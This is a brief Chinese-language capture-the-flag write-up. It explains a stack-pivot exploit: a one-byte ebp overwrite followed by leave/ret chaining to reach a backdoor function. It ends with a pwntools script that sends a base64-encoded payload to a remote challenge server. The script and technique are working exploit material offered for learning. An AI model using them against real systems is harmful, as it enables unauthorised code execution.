这个题 确实很恶心
本来感觉应该是栈溢出 或者 直接验证 但是 md5 解不开 然后调试的时候逐渐发现问题
晕死,,
虽然长度那个变量是 无符号 但是 输入字符限定 30 我们也没有什么办法 来通过 这个来操作
然后进入check 函数
发现v4 可以 溢出修改ebp
并且这里有后门函数
ebp ebp ebp 栈转移
两个 leave 和 retn 那么 就可以 通过输入的值 来修改ebp input
先把ebp 转化成 input 的地址 然后 mov esp ebp esp 的值变成了 input 的地址
然后 在mov esp ebp pop ebp ret (pop rip)
这里 的 pop rip 就可以控制流程了
三行代码搞定,,, 等等 三行代码
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import*
import base64
context(log_level = 'debug', arch = 'amd64' , os = 'linux')
system_addr=0x08049284
input_addr=0x0811EB40
flag=0
if flag:
io = process("./format2")
else:
io = remote("111.198.29.45",42949)
paload='a'*4+p32(system_addr)+p32(input_addr)
io.sendline(base64.b64encode(paload))
io.interactive()